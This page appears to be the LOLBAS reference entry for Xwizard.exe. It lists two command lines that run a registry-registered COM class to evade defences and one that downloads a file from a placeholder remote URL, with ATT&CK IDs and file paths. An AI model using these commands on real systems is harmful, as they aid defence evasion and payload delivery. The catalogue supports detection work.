LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Xwizard.exe

View source

Execute custom class that has been added to the registry or download a file with Xwizard.exe

ExecuteDownload
03COMMAND EXAMPLES
02ATT&CK TECHNIQUES
04DETECTION RESOURCES
02CAPABILITIES
01 / TRADECRAFT

Command reference

3 examples

Execute2

EXAMPLE 01T1218

Xwizard.exe running a custom class that has been added to the registry.

COMMAND
xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}
USE CASE
Run a com object created in registry to evade defensive counter measures
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · COM
EXAMPLE 02T1218

Xwizard.exe running a custom class that has been added to the registry. The /t and /u switch prevent an error message in later Windows 10 builds.

COMMAND
xwizard RunWizard /taero /u {00000001-0000-0000-0000-0000FEEDACDC}
USE CASE
Run a com object created in registry to evade defensive counter measures
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · COM

Download1

EXAMPLE 01T1105

Xwizard.exe uses RemoteApp and Desktop Connections wizard to download a file, and save it to INetCache.

COMMAND
xwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z{REMOTEURL}
USE CASE
Download file from Internet
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Download · INetCache
02 / ON DISK

Known paths

C:\Windows\System32\xwizard.exe
C:\Windows\SysWOW64\xwizard.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

4 resources
FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Adam@Hexacorn
Nick Tyrer@NickTyrer
harr0ey@harr0ey
Wade Hickey@notwhickey